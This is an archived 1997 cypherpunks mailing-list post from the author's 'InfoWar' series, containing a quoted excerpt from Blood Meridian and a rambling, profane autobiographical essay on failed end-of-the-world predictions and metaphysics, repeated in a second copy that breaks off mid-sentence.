The True Story of the InterNet

Part III


InfoWar

Final Frontier of the Digital Revolution

Behind the ElectroMagnetic
Curtain


by TruthMonger <tm@dev.null>




Copyright 1997 Pearl Publishing



InfoWar Table of Contents

Epilogue 
TruthMonger#1


Epilogue


Subject: Infowar circa 1850
From: nobody@neva.org (Neva Remailer)
To: cypherpunks@Algebra.COM

-----BEGIN PGP SIGNED MESSAGE-----

"Blood
Meridian:
Or the Evening Redness in the West" by Cormac McCarthy

The Reverend Green had been playing to a full house daily as long
as
the rain had been falling and the rain had been falling for two

weeks. When the kid ducked into the ratty canvas tent there was

standing room along the walls, a place or two, and such a heady
reek
of the wet and bathless that they themselves would sally forth
into
the downpour now and again for fresh air before the rain drove
them
in again. He stood with others of his kind along the back wall.
The
only thing that might have distinguished him in that crowd was
that he
was not armed.

Neighbors, said the reverend, he couldnt stay out of these here

hell, hell, hellholes right here in Nacogdoches. I said to him,
said:
You goin to take the son of God in there with ye? And he said:
Oh
no. No I aint. And I said: Dont you know that he said I will foller

ye always even unto the end of the road?

Well, he said, I aint askin nobody to go nowheres. And I said:

Neighbor, you dont need to ask. He's a goin to be there with ye
ever
step of the way whether ye ask it or ye dont. I said: Neighbor,
you
caint get shed of him. Now. Are you going to drag him, *him*,
into
that hellhole yonder?

You ever see such a place for rain?

The kid had been watching the reverend. He turned to the man who

spoke. He wore long moustaches after the fashion of teamsters
and he
wore a widebrim hat with a low round crown. He was slightly walleyed

and he was watching the kid earnestly as if he'd know his opinion

about the rain.

I just got here, said the kid.

Well it beats all I ever seen.

The kid nodded. An enormous man dressed in an oilcloth slicker
had
entered the tent and removed his hat. He was bald as a stone and
he
had no trace of beard and he had no brows to his eyes nor lashes
to
them. He was close on to seven feet in height and he stood smoking
a
cigar even in this nomadic house of God and he seemed to have
removed
his hat only to chase the rain from it for now he put it on again.

The reverend had stopped his sermon altogether. There was no sound

in the tent. All watched the man. He adjusted the hat and then

pushed his way forward as far as the crateboard pulpit where the

reverend stood and there he turned to address the reverend's
congregation. His face was serene and strangely childlike. His
hands
were small. He held them out.

Ladies and gentlemen I feel it my duty to inform you that the
man
holding this revival is an imposter. He holds no papers of divinity

from any institution recognized or improvised. He is altogether

devoid of the least qualifications to the office he has usurped
and
has only committed to memory a few passages from the good book
for the
purpose of lending to his fraudulent sermons some faint flavor
of the
piety he despises. In truth, the gentleman standing here before
you
posing as a minister of the Lord is not only totally illiterate
but is
also wanted by the law in the states of Tennessee, Kentucky,
Mississippi, and Arkansas.

Oh God, cried the reverend. Lies, lies! He began reading
feverishly from his opened bible.

On a variety of charges the most recent of which involved a girl
of
eleven years - I said eleven - who had come to him in trust and
whom
he was surprised in the act of violating while actually clothed
in the
livery of his God.

A moan swept through the crowd. A lady sank to her knees.

This is him, cried the reverend, sobbing. This is him. The devil.

Here he stands.

Let's hang the turd, called an ugly thug from the gallery to the

rear.

Not three weeks before this he was run out of Fort Smith Arkansas

for having congress with a goat. Yes lady, that is what I said.

Goat.

Why damn my eyes if I wont shoot the son of a bitch, said a man

rising at the far side of the tent, and drawing a pistol from
his boot
he leveled it and fired.

The young teamster instantly produced a knife from his clothing
and
unseamed the tent and stepped outside into the rain. The kid 

followed. They ducked low and ran across the mud toward the hotel.

Already gunfire was general within the tent and a dozen exits
had been
hacked through the canvas walls and people were pouring out, women

screaming, folk stumbling, folk trampled underfoot in the mud.
The
kid and his friend reached the hotel gallery and wiped the water
from
their eyes and turned to watch. As they did so the tent began
to sway
and buckle and like a huge and wounded medusa it slowly settled
to the
ground trailing tattered canvas walls and ratty guyropes over
the
ground.

The baldheaded man was already at the bar when they entered. On
the
polished wood before him were two hats and a double handful of
coins.
He raised his glass but not to them. They stood up to the bar
and
ordered whiskeys and the kid laid his money down but the barman
pushed
it back with his thumb and nodded.

These here is on the judge, he said.

They drank. The teamster set his glass down and looked at the
kid
or he seemed to, you couldnt be sure of his gaze. The kid looked
down
the bar to where the judge stood. The bar was that tall not every
man
could even get his elbows up on it but it came just to the judge's

waist and he stood with his hands placed flatwise on the wood,
leaning
slightly, as if about to give another address. By now men were
piling
through the doorway, bleeding, covered in mud, cursing. They gathered

about the judge. A posse was being drawn to pursue the preacher.

Judge, how did you come to have the goods on that no-account?

Goods? said the judge.

When was you in Fort Smith?

Fort Smith?

Where did you know him to know all that stuff on him?

You mean the Reverend Green?

Yessir. I reckon you was in Fort Smith fore ye come out here.

I was never in Fort Smith in my life. Doubt that he was.

They looked from one to the other.

Well where was it you run up on him?

I never laid eyes on the man before today. Never even heard of
him.
He raised his glass and drank.

There was a strange silence in the room. The men looked like mud

effigies. Finally someone began to laugh. Then another. Soon they

were all laughing together. Someone bought the judge a drink.


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You
are
What you do
When it counts
- The Masao


TruthMonger#1

"Identity Theft Is the Sincerest
Form of Flattery."

I would be the last one to deny that those
who have followed the Chronicles of InfoWar and/or my posts to
the CypherPunks mailing list would be justified in concluding
that I am a raving lunatic, suffering from some bizarre form of
psychotic delusion which has yet to be properly researched, defined
and categorized by medical science.

However, please allow me to say a few words
in my own defense, in the hope of giving you at least a modicum
of insight into the method of my madness, and vice-versa.


I have lived a life which many people would
consider rather remarkable and, in some aspects, rather unbelievable,
as well. {In reality, 'unusual' is probably a more fitting, though
mundane, description.}
In order to impress upon you that I am not consciously or (too)
subconsciously attempting to pretentiously portray (or inwardly
deem) myself as some kind of eminent, all-wise, all-seeing guru
or genius at the expense of the individual uniqueness, talents
and value of others, such as yourself, let me state that I truly
recognize, even in my moments of cynicism, egoism, or a plethora
of other human states of consciousness and being, that what I
regard as the absolute wonderment of my own life is no less remarkable
than that of each and every other being sharing this corporeal
and metaphysical existence with me.

If I were able to single handedly bring about
world-peace upon the earth tomorrow, heal all of the sick and
lame, and make life a proverbial bowl of cherries for all humankind,
I would still regard myself as no more remarkable than any man
or woman who is capable of bringing new life into this world.

Anyone who has ever been present at the birth of a child is likely
to understand that I am speaking of the folly of our pretensions
and our posturing, in the face of the genuine mystery of creation.

Having said this, let me proceed to attempt
to elucidate the reasons for the sincerity I strive for in writing,
no matter how 'right' or 'wrong' I may be in my beliefs, values
and world-view.


I was very young as a child...

OK, seriously...

The expression "been there, done that,
got the T-shirt" applies to each and every one of us in our
own way.

My life has been a process of going everywhere,
doing everything, seeing and experiencing an amazing variety of
the reality-bytes that life has to offer.
Many whom I have come in contact with, who have 'settled down'
to live a life very similar to that of their family, friends and
neighbors, find me to be an interesting   fascinating 'character.'
What many of them do not fully realize is that I find them to
be equally fascinating.
Despite the wild, far-ranging roller coaster of life I have experienced,
I recognize that it is in no way more reality-encompassing than
the life of someone who has borne and raised a child, or children,
or who have dedicated their life to the pursuit of total understanding
of minute area of the total scheme of reality. I have sometimes
been involved in conversations with people who pour out their
woes, their self-doubts, their regrets of 'roads not taken,' etc.,
and I have said, in reply, "You have raised a wonderful child.
You, and everyone else who has done so deserve a Pulitzer Prize.
No one on the face of the earth, however renowned, has ever done
anything which is superior to what you have accomplished."



Everyone has things that they have the background
and ability to do and corresponding life lessons and experience
that they have to share with their fellow terrestrial travelers.

What I believe I have to share is the perceptive viewpoint of
someone who has garnered a reasonably objective outlook on the
life and society around them, as a result of having always stood
slightly outside the boundaries of whatever situational reality
they were interacting with at any point in time.
To illustrate, allow me to point out that I have been through
"The End of the World" (tm) twice, in my lifetime
to date.

The first time was as a baptized member of
Herbert W. Armstrong's Worldwide Church of God. (I am not only
Washed In The Blood Of The Lamb, but I also scrubbed behind my
ears-mom would be proud of me.)
One of the reasons I still regard the members of the WWCOG very
highly is that during my stay in the church I suffered very little
discrimination or judgment as a result of being vastly different
from almost all other members of the church, in ways that would
have resulted, as a member of most organizations (religious or
secular), in my being the target of coercive attempts at 'changing
me for the better', or [Your Example of Infringement of One's
Right To Self-Determination Here].

Hard to believe that hard-core Christians could be this liberal
(Example # 6):
"We would rather that you didn't strip naked during church
services, paint yourself blue and stand on your head while chanting
'Allah is good...Allah is great. Hopefully, further Bible study
will lead you to understand that these actions are not necessary
for spiritual development. But, hey! We could be wrong."

While you may be chuckling at my humorous representation of what
I am explaining, here, let me assure you that this tongue in cheek
example is no more outlandish than 'the real facts.'

When "The End of the World" (tm) was announced, church
members made preparations for holing up on the specified date,
having a fantastic 'last meal' and preparing for a final night
of fellowship during which most 'masks' would be dropped (being
as how the last day before the end of all physical existence doesn't
lend itself to being pretentious in the hope of receiving future
benefit from misleading yourself and others).
{FYI: Yes, I was tempted to make the obvious "going
out with a bang <nod-nod, wink-wink>" suggestions,
all in good humor, but this was one of the few times in my life
that I was able to resist my basic urge to be infantile and immature.}

After the WWCOG members, including myself, awoke the next morning
to find that it still hurt when they pinched their arm, so this
couldn't possibly be Heaven (tm), the church went through a
major shake-up, with many members becoming disillusioned and leaving
for browner pastures. Most of those who remained in the church
went through great mental and emotional turmoil in the process
of resolving the dichotomy of remaining a member of a 'True Church'
which had failed the ultimate test of 'infallibility'.
Not me...

This is part and parcel of what I am trying to explain as an example
of what I regard as an ability on my part to exercise a great
deal of objectivity, even during my active participation in entering
into membership in a particular or specific belief-system.

I never, at any time, believed that the proverbial "End of
the World" was imminent. Quite the opposite, in fact, yet
I participated fully in the event.
Why? When you are a member of a bowling team, you bowl ten frames
because that is what you are there to do, as a member of the team.
That is how those involved keep score and the agreed basis upon
which they judge the results.

I made no attempt to burst anyone else's bubble while preparing
for an event which I was certain would not occur but, when asked
by other church members, I did not attempt to obfuscate my beliefs
in this regard, instead speaking honestly about my view that the
person reading the road map of the future was not aware of the
concept of magnetic deflection affecting the perception of True
North.
On the other hand, neither did I negate the possibility that I
might, at the appointed time, be proven wrong, as I found myself
swept up into Heaven (tm), to be confronted by a Supreme Being
who was wagging a finger at me, saying, "You are going to
find your eternal stay in Heaven considerably more enjoyable if
you drop the cynicism."

As a result of having the objectivity which comes from being what
I characterize as "an insider watching from the outside,"
I found that I could observe or participate in the debates between
the 'True Believers' and the 'Disillusioned' and manage to separate
the wheat from the chaff, chiefly because I didn't have a 'position
to defend.'
i.e.-I hadn't given away my bowling ball (metaphorically speaking)
to charity, out of certitude that I would not be needing it the
following day, so I had no need to 'place blame' on anyone for
my having to buy a new bowling ball for the upcoming tournament.

Although I ceased actively participating in the WWCOG shortly
after The End of the World (tm) , it was a result of having
already learned and experienced most of those things which I was
there to apperceive.

In the wake of the World inconsiderately failing to End on schedule,
the titular heads of the Worldwide Church of God rechecked their
figures and, sure enough, realized that they had forgotten to
'carry the three' and that it had been a mistake to use the recently
legislated value of pi (3.0) in their calculations.
I found this to be very disturbing. 
I personally had absolutely no problem with the World failing
to End as predicted, nor with those who had mistakenly (as it
turned out) made the prediction. My beliefs and core values were
neither strengthened nor weakened by the details of the event-I
am proud to say that I felt no need to paint myself 'green' instead
of 'blue' thereafter, in an attempt to rebuild a non-existent
ivory tower of religious/spiritual belief.

Had those involved not busied themselves with attempting to pretend
that they were still infallible, but bad at math, my sojourn in
the Worldwide Church of God would have undoubtedly lasted a little
longer. As it was, I felt that there were more precipitous routes
to additional knowledge and learning, since advancement of corporal
and ethereal cognitive capabilities had been put on hold in the
church in the interests of regeneration of structures which were
not truly necessary to the objectives of religious spirituality.

To tell the truth, I find it rather ironic that intelligent, spiritually
oriented individuals who recognize the foolishness of worshipping
golden calves often fail to recognize that the 'semi-worshipping'
of 'wooden' calves may be a step forward, but is equally foolish,
nonetheless.

My participation in the second (non-annual) "End of the World"
(tm) was as a member of the Institute of Applied Metaphysics.

The event/process was very similar in concept to the WWCOG "End
of the World" (tm), with only the circumstantial details
being significantly different.
i.e. - As a member of IAM, I stripped naked, painted my self purple,
and stood on my head during the meetings, conferences and classes.

Once again, those involved in "The End of the World"
(tm) awoke the next morning to find that it still hurt when
they pinched their arm (or when I pinched their butt). Again,
there was a certain amount of disillusionment in the wake of continued
corporeal existence, but less so than in the WWCOG, since there
was less of a structured, ritual schematization involved.
i.e. - more people wearing jeans, fewer people wearing suits and
ties

I eventually moved on to a divergent path in my quest toward finding
new and better ways to investigate the underlying unity within
the boundaries of diversity, once again taking along the lessons
and experiences I had garnered during my hiatus from constant
motion (as opposed to fleeing from the abomination of human fallibility).

The wake of this second failure of the World to End according
to schedule was of lesser amplitude than the previous one I had
participated in, rocking the boat of established position/beliefs
less than before. I attribute this to the fact that the response
of the titular heads of the Institute of Applied Metaphysics was
not to 'deny' that there had been no failure, only a slight miscalculation
(PolitiSpeak), but was, instead, to 'reveal' to the participants
that the world had, in fact, come to an end, exactly as predicted.

The 'loophole' that validated this Nostradamian spin-doctoring
was that the precise wording of the original prediction was "the
world AS WE KNOW IT will come to an end."

{Petty and cynical way to have fun with 'voices pontificating
in the wilderness' when they are so foolish as to give a date
and time to their "End of the World" (tm) prediction:
Ask them if the time quoted is Eastern Time, Pacific Time, or
Greenwich Mean Time.
NostraCanadaIsis: "The 'End of the World' (tm) will be
at 9:00 p.m. (9:30 p.m. in Newfoundland).

Definition: Spin Doctoring - You are standing naked in the gas
chamber with a thousand of your fellow ethnic outlaws when the
voice of Herr Himmler blares out from the speakers, "I have
decided to spare your lives." The loud cheers of yourself
and your grateful ethnological comrades are cut short by the sound
of a deadly gas being released from the ceiling vents. A different
voice comes over the speaker, saying, "What Herr Himmler
meant to say, was..."

Sick humor? Moi...?

The two examples above involve group participation events which
are synchronous with individual examples of 'what I do.'

Everyone has things which they 'do'.
What I am speaking of here is something which I believe most people
inherently understand, but which is difficult to put into words.

i.e. - I can only describe my understanding of the concept I am
expressing, in the hope that you can compare and interpret what
I say in the light of your own knowledge and experience, be it
a translation of what I say into a mathematical equation, an emotional
feeling, a graphical representation, or whatever...

What some people do is to live a life of optimism which
drives cynical people crazy, particularly in light of the fact
that the history of events in the optimist's life confirms that
his or her world-view is valid.
What other people do is live a life of cynicism which drives
optimists crazy, in light of the fact that the cynic's observations
and logic are irrefutable, thus forcing the optimist to face the
fact that life is not a bowl of cherries for those whose destiny
is not to reflect the benefits of the power of positive thinking
but, rather, the reality that life is a crap shoot.

i.e. <squared> - Some people always find a parking
space exactly where they need one, and other people never
find a parking space in the needed spot.

The "End of the World" (tm) is something that I do.

'Participate in' might equally describe what I refer to as 'something
I do', if viewed from the perspective of the interplay
between myself and others.

To explain, on a one-on-one level of individuality, what I am
speaking of, I should explain that, on occasion, people I know,
vaguely know, or don't know from Adam, will show up on my doorstep,
and spend time with me.
A total stranger sometimes shows up on my doorstep and, without
a word of explanation, spends several days helping me install
a new carpet, trim my hedges, or whatever I happen to be involved
in at the time. All without saying a word before departing at
some point, never to cross my path again before making their exit
from this mortal plane.
Or, they may show up and sit in my living room for an hour, a
day, a week, and tell me their life story. "I was very young,
as a child...then, this morning..." Once again, after
they have done whatever it is they needed to do, they depart.

The common link between the people who enter my life to perform
variations upon the above themes, before moving on, is that they
die a short time later.
What is the 'explanation of'/'reason for' the process I have just
described? I have some opinions and/or theories in this regard,
but the bottom line is that it does not matter in the least whether
I am correct or incorrect in this regard. The bottom line is that
it is something that I do/'participate in' and experience
has taught me that if I try to interpret the 'true meaning and
purpose' of these events, thereby convincing myself that I have
some imagined 'cause of action' by which I can control/influence
the 'outcome' of the event in a 'proper' manner, everything goes
to hell and takes longer than it would have if I had resisted
the impulse to control/interfere.

At this point, I would like to point out that many people might
regard the preceding as what Tim May refers to as 'magical thinking'
and that they would, in a certain sense, be right. Tim May has,
in more than a few missives, indicated his disapproval of those
who engage in the 'airy-fairy' process of 'magical thinking,'
in contradiction to the known physical laws of reality.

I have long regarded Tim May as the original Philosopher King
of the CypherPunks mailing list, and I give considerable weight
to his missives, knowing that they are, for the most part, composed
in a process which involves careful thought and analysis of the
issues or technicalities of whatever topic that his missive is
addressing.
If my first reading of his post to the CypherPunks list seems
to indicate that he is simply 'on the rag' and 'blowing smoke,'
then I read the post again to see if I am correct in the assumption
that he is having a 'bad hair day,' or if I have my head up my
butt and I am failing to understand what Tim is attempting to
communicate.

Tim May sometimes comes off, in the context of the not-totally-encompassing-media
of InterNet communication, as a bit of a Redneck/Ugly-American/Materialistically-Grounded/Fuck-the-Hippie-Crystal-Worshipers
kind of guy.
i.e. - Nuke Magical Thinkers
However, I think he would be surprised, given my above claims,
to find that I agree with him, for the most part-listen closely-within
the context of his definition of 'magical thinking.'

However, 'magical thinking' is something that I do, and
I believe that it is valid from within the context of my definition
of what the term truly comprises.
i.e. - I care not in the least whether you (or I) claim that it
is possible to 'psychically will' the balance of a bank account
to increase by $100.00. My view is that this-or-that claim doesn't
matter in the least. What matters is whether the bank account
does or does not increase.

What I am getting at is that, as a mathematician, the certitude
of what you recognize and accept is not dependent on my mathematical
ability to understand the concepts which you know and understand.
My belief that 1 + 1 = 3 is not likely to cause you to come to
the belief that your whole life is a lie, and that you should
kill yourself.
Why is this? Because mathematics is something that you do.

Likewise, metaphysics is something that I do.
What I implore you to understand is that I have no more personal,
emotional investment in a blue aura meaning 'this' as opposed
to 'that', than you, as a mathematician, have in 1 + 1 = 2, as
opposed to 1 + 1 = 3.
Your concern as a mathematician is that the value you recognize
is valid within the boundaries of the logic system within which
you are working. My concern as a metaphysician is the same.

In effect, what I am saying is that people, be they friends, acquaintances
or total strangers, show up on my doorstep and do whatever it
is they need to do before departing and going off to reunite with
the Spirit of the Cosmic Muffin, or whatever.
You don't understand? Me neither...

Do you believe or disbelieve what I am telling you? Do you think
it is a 'good' thing or a 'bad' thing, if true? Do you think it
is the work of God, or the work of the Devil?
Pick 'one from Column A and two from Column B', or vice-versa-it's
fine by me. Regardless of your or my belief/disbelief, attitude
or opinion...it happens.

If you feel the urge to show up on my doorstep and spend the next
few decades helping to prove or disprove what I perceive as reality,
feel free to do so, but I believe that there are probably much
better ways to spend your time.

I guess what I am haphazardly attempting to explain is my view
of what objectivity truly means, insofar as I understand the concept
and strive to arrive at an objective, truthful perception of existence,
during my journey through 'madness cleverly disguised as sanity'
(or vice-versa).

Non-Taoists often perceive those who are journeying in a direction
opposite to, or tangent to, their own vector of impetus as being
'in opposition to' themselves.
>From a Taoist perspective, however, no one is truly 'going the
wrong way.'

In effect, it is as if we live in a world where traveling both
North and South are required for survival/enlightenment/whatever.

Those who are dimly aware that they are traveling North after
having already fulfilled the 'traveling South' part of the equation,
are likely to subconsciously recognize that those traveling in
the opposite direction may be doing so because have already fulfilled
the 'traveling North' part of the equation. Those who have not
yet traversed the opposite side of the equation are more likely
to believe that those traveling in the opposite direction are
'evil incarnate', actively seeking to subvert the will of the
OneWay True God who rules the 'Turn Left To Go Towards Righteousness'
universe.

I believe that it might help to clarify the concept I am attempting
to express here if I ask you to think of examples from your own
life, and from the lives of others you have observed, which might
serve to illustrate people who unthinkingly shout "You are
going the wrong way!" to total strangers when, in fact, they
have no idea where the person they are shouting at is coming from,
or going to.
A parallax example would be a mature person trying to impose the
logic of grownup reasoning on a teenager who is firmly ensconced
in the hormonal grip of a still-growing movement toward balancing
reason and emotion.

The value that our experience and understanding can play in communicating
with others is directly related to the degree to which we have
recognized, faced and resolved those events and situations in
our life that require us to strike a balance between order and
chaos, individuality and communion with the 'other', stability
and evolution-Yin and  Yang.

Obtuse Parallax Non-Involvement Participation Theory: The fact
that life is a crap shoot in no way detracts from the validity
of 'self-determination through the exercise of free will' playing
an essential part in determining the final outcome of the unfolding
of our predestination.

{Pretty profound, eh? I wonder if it actually means anything...}


But, seriously...I was very young as a child...

OK, I'll quit kidding around. (Honest!)

Despite the extremely multitudinous verbal effusions which I often
use to convey my understanding of life's realities and peculiarities,
much of what my preceding voluminous asseverations are aimed toward
communicating can be summed up in a two-line poem which was written
by an eccentric schizoid component of my overall persona which
lurks omnipresently behind the scar tissue on the periphery of
my brain, as the result of a failed lobotomy attempt by a well-meaning,
but misguided, member of the Manson family.

"All My Lies Are True"

All my lies are true...
And everything I do, I really am.


In short (but time-and-volume expanded to give you the benefit
of enlightenment through overcoming the confusion of my verbal
obtuseness), there exists-in the heart of the time-space continuum
that is conspiring with extemporaneous metaphysical actuality
to bring us all to a sorry end-two separate and distinct enemies
of the current direction and goals of our lifelong aspirations.

The first enemy is whatever runs contrary to our beliefs, aims
and purpose in life, and which threatens our existence/being/survival
because  of our failure to recognize its value in our life, due
to the fact that it encompasses arenas of life which we have not
yet had occasion to confront and/or experience.
The second enemy is the 'friendly enemy' which represents those
arenas of life which we have already traversed, and which constitute
a hazard to the evolution of our consciousness only by virtue
of the fact that it is always tempting to bathe in the glory of
treading familiar ground, deluding ourselves that our competence
in rehashing already-learned lessons in life is a sign of superiority
to those poor souls we pass by as they stumble and fall in their
evolutionary journey through unfamiliar territory.

For those of you who have consumed less than a quart of Scotch
in the last half-hour, and are thus mystified as to what I am
talking about, here, I will point out that what I have just expressed
might be considered to be the equivalent of those who teach second-grade
math indulging themselves in the bizarre and obscene delusion
that the godlike reverence which the six and seven year old children
impute to them as a result of their superior understanding of
the mysteries of multiplication is somehow reflective of their
innate superiority to the entirety of humanity around them.

Or, as a parallax example, a school yard bully who considers himself
to be a 'tough guy', despite the fact that he is six-foot eight,
two hundred and forty five pounds, forty three years of age, and
is still in the third grade.
[No, asshole, this example is not based on my own life
experience.]

As you may have already guessed, I have pretty much lost track
of what the hell it is I had originally intended to communicate
in this duplicitous soliloquy concerning the divine triad of incremental
quaternion.
So perhaps it is best that I toss my Thesaurus in the trash and
entrust to my limited lexicon the responsibility of conveying
an important, though insipid, axiom of life which should serve
as an shining beacon which has the capacity to enlighten the waters
beyond the rocky shores of my limited attention span, and open
the door to a complete understanding of how to properly interpret
and evaluate the Chronicles of InfoWar.

In other words-in plain English-articulating my unknown thoughts
in a manner which accurately expresses my lack of social skills
and my disposition toward not really giving a fat rat's ass if
my efforts at elocution are appreciated, or whether I am just
pissing in the wind...
I am the living, breathing incarnation of the Jules Pfiefer  elucidation
of the "Mad Dog in possession of the last false smile."

I AM the TruthMonger.

If you think that my irreverence, sick humor, and my propensity
toward expressing myself in a manner which will lead those reading
my mad ramblings to conclude that I am an uncouth, insane asshole
is an indication that I am not totally sincere in seeking to share
the enlightenment that it has been my blessing to experience during
the course of my life, then Fuck You!

We are all born into a predestined domain wherein our role as
a warrior is to fight the battles which can be waged by none other
than ourselves.
My predestined battle is to rail loud and long against the anal-retentive
scourge of counterfeit substantiality which we and our fellow
anthropological sycophants kneel in obeisance to, for lack of
true belief in the primacy of our sovereign franchise which not
only deems us to be the captain of our ship of life and master
of our ultimate destiny, but which also demands that we
recognize our divinity and our obligation to throw off the bondage
of  outside authority, accepting total responsibility for living
our life according to the dictates of our conscience and our innate
soul pattern.

"To he who does what within him lies, God will not deny his
grace."
- Saint Thomas Aquinas

"We make our Gods, do battle with them, and they bless us."

- Herman Hesse

"All my lies are TruthMongering."
- The Last Canadian Outlaw


"The Xenix Chainsaw Massacre"

"WebWorld & the Mythical Circle of Eunuchs"

"InfoWar (Part III of 'The True Story of the InterNet')

Soviet Union Sickle of Eunuchs Secret WebSite









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Don't Ask..." <da@dev.null>
Date: Sun, 2 Nov 1997 19:29:14 +0800
To: cypherpunks@toad.com
Subject: InfoWar Epilogue 8 / TEXT
Message-ID: <345C615F.228B@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



----------------------------------------------------------------------------
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                       The True Story of the InterNet
                                  Part III

                                   InfoWar

                  Final Frontier of the Digital Revolution

                     Behind the ElectroMagnetic Curtain

                        by TruthMonger <tm@dev.null>

Copyright 1997 Pearl Publishing
----------------------------------------------------------------------------
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                          InfoWar Table of Contents

   * Epilogue
   * TruthMonger#1

----------------------------------------------------------------------------

                                  Epilogue
----------------------------------------------------------------------------

Subject: Infowar circa 1850
From: nobody@neva.org (Neva Remailer)
To: cypherpunks@Algebra.COM

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   "Blood Meridian: Or the Evening Redness in the West" by Cormac McCarthy

The Reverend Green had been playing to a full house daily as long as
the rain had been falling and the rain had been falling for two
weeks. When the kid ducked into the ratty canvas tent there was
standing room along the walls, a place or two, and such a heady reek
of the wet and bathless that they themselves would sally forth into
the downpour now and again for fresh air before the rain drove them
in again. He stood with others of his kind along the back wall. The
only thing that might have distinguished him in that crowd was that he
was not armed.

Neighbors, said the reverend, he couldnt stay out of these here
hell, hell, hellholes right here in Nacogdoches. I said to him, said:
You goin to take the son of God in there with ye? And he said: Oh
no. No I aint. And I said: Dont you know that he said I will foller
ye always even unto the end of the road?

Well, he said, I aint askin nobody to go nowheres. And I said:
Neighbor, you dont need to ask. He's a goin to be there with ye ever
step of the way whether ye ask it or ye dont. I said: Neighbor, you
caint get shed of him. Now. Are you going to drag him, *him*, into
that hellhole yonder?

You ever see such a place for rain?

The kid had been watching the reverend. He turned to the man who
spoke. He wore long moustaches after the fashion of teamsters and he
wore a widebrim hat with a low round crown. He was slightly walleyed
and he was watching the kid earnestly as if he'd know his opinion
about the rain.

I just got here, said the kid.

Well it beats all I ever seen.

The kid nodded. An enormous man dressed in an oilcloth slicker had
entered the tent and removed his hat. He was bald as a stone and he
had no trace of beard and he had no brows to his eyes nor lashes to
them. He was close on to seven feet in height and he stood smoking a
cigar even in this nomadic house of God and he seemed to have removed
his hat only to chase the rain from it for now he put it on again.

The reverend had stopped his sermon altogether. There was no sound
in the tent. All watched the man. He adjusted the hat and then
pushed his way forward as far as the crateboard pulpit where the
reverend stood and there he turned to address the reverend's
congregation. His face was serene and strangely childlike. His hands
were small. He held them out.

Ladies and gentlemen I feel it my duty to inform you that the man
holding this revival is an imposter. He holds no papers of divinity
from any institution recognized or improvised. He is altogether
devoid of the least qualifications to the office he has usurped and
has only committed to memory a few passages from the good book for the
purpose of lending to his fraudulent sermons some faint flavor of the
piety he despises. In truth, the gentleman standing here before you
posing as a minister of the Lord is not only totally illiterate but is
also wanted by the law in the states of Tennessee, Kentucky,
Mississippi, and Arkansas.

Oh God, cried the reverend. Lies, lies! He began reading
feverishly from his opened bible.

On a variety of charges the most recent of which involved a girl of
eleven years - I said eleven - who had come to him in trust and whom
he was surprised in the act of violating while actually clothed in the
livery of his God.

A moan swept through the crowd. A lady sank to her knees.

This is him, cried the reverend, sobbing. This is him. The devil.
Here he stands.

Let's hang the turd, called an ugly thug from the gallery to the
rear.

Not three weeks before this he was run out of Fort Smith Arkansas
for having congress with a goat. Yes lady, that is what I said.
Goat.

Why damn my eyes if I wont shoot the son of a bitch, said a man
rising at the far side of the tent, and drawing a pistol from his boot
he leveled it and fired.

The young teamster instantly produced a knife from his clothing and
unseamed the tent and stepped outside into the rain. The kid
followed. They ducked low and ran across the mud toward the hotel.
Already gunfire was general within the tent and a dozen exits had been
hacked through the canvas walls and people were pouring out, women
screaming, folk stumbling, folk trampled underfoot in the mud. The
kid and his friend reached the hotel gallery and wiped the water from
their eyes and turned to watch. As they did so the tent began to sway
and buckle and like a huge and wounded medusa it slowly settled to the
ground trailing tattered canvas walls and ratty guyropes over the
ground.

The baldheaded man was already at the bar when they entered. On the
polished wood before him were two hats and a double handful of coins.
He raised his glass but not to them. They stood up to the bar and
ordered whiskeys and the kid laid his money down but the barman pushed
it back with his thumb and nodded.

These here is on the judge, he said.

They drank. The teamster set his glass down and looked at the kid
or he seemed to, you couldnt be sure of his gaze. The kid looked down
the bar to where the judge stood. The bar was that tall not every man
could even get his elbows up on it but it came just to the judge's
waist and he stood with his hands placed flatwise on the wood, leaning
slightly, as if about to give another address. By now men were piling
through the doorway, bleeding, covered in mud, cursing. They gathered
about the judge. A posse was being drawn to pursue the preacher.

Judge, how did you come to have the goods on that no-account?

Goods? said the judge.

When was you in Fort Smith?

Fort Smith?

Where did you know him to know all that stuff on him?

You mean the Reverend Green?

Yessir. I reckon you was in Fort Smith fore ye come out here.

I was never in Fort Smith in my life. Doubt that he was.

They looked from one to the other.

Well where was it you run up on him?

I never laid eyes on the man before today. Never even heard of him.
He raised his glass and drank.

There was a strange silence in the room. The men looked like mud
effigies. Finally someone began to laugh. Then another. Soon they
were all laughing together. Someone bought the judge a drink.

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                                   You are
                                 What you do
                               When it counts
                                 - The Masao
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                                TruthMonger#1

             "Identity Theft Is the Sincerest Form of Flattery."

I would be the last one to deny that those who have followed the Chronicles
of InfoWar and/or my posts to the CypherPunks mailing list would be
justified in concluding that I am a raving lunatic, suffering from some
bizarre form of psychotic delusion which has yet to be properly researched,
defined and categorized by medical science.

However, please allow me to say a few words in my own defense, in the hope
of giving you at least a modicum of insight into the method of my madness,
and vice-versa.

I have lived a life which many people would consider rather remarkable and,
in some aspects, rather unbelievable, as well. {In reality, 'unusual' is
probably a more fitting, though mundane, description.}
In order to impress upon you that I am not consciously or (too)
subconsciously attempting to pretentiously portray (or inwardly deem) myself
as some kind of eminent, all-wise, all-seeing guru or genius at the expense
of the individual uniqueness, talents and value of others, such as yourself,
let me state that I truly recognize, even in my moments of cynicism, egoism,
or a plethora of other human states of consciousness and being, that what I
regard as the absolute wonderment of my own life is no less remarkable than
that of each and every other being sharing this corporeal and metaphysical
existence with me.

If I were able to single handedly bring about world-peace upon the earth
tomorrow, heal all of the sick and lame, and make life a proverbial bowl of
cherries for all humankind, I would still regard myself as no more
remarkable than any man or woman who is capable of bringing new life into
this world.
Anyone who has ever been present at the birth of a child is likely to
understand that I am speaking of the folly of our pretensions and our
posturing, in the face of the genuine mystery of creation.

Having said this, let me proceed to attempt to elucidate the reasons for the
sincerity I strive for in writing, no matter how 'right' or 'wrong' I may be
in my beliefs, values and world-view.

I was very young as a child...

OK, seriously...

The expression "been there, done that, got the T-shirt" applies to each and
every one of us in our own way.

My life has been a process of going everywhere, doing everything, seeing and
experiencing an amazing variety of the reality-bytes that life has to offer.
Many whom I have come in contact with, who have 'settled down' to live a
life very similar to that of their family, friends and neighbors, find me to
be an interesting fascinating 'character.' What many of them do not fully
realize is that I find them to be equally fascinating.
Despite the wild, far-ranging roller coaster of life I have experienced, I
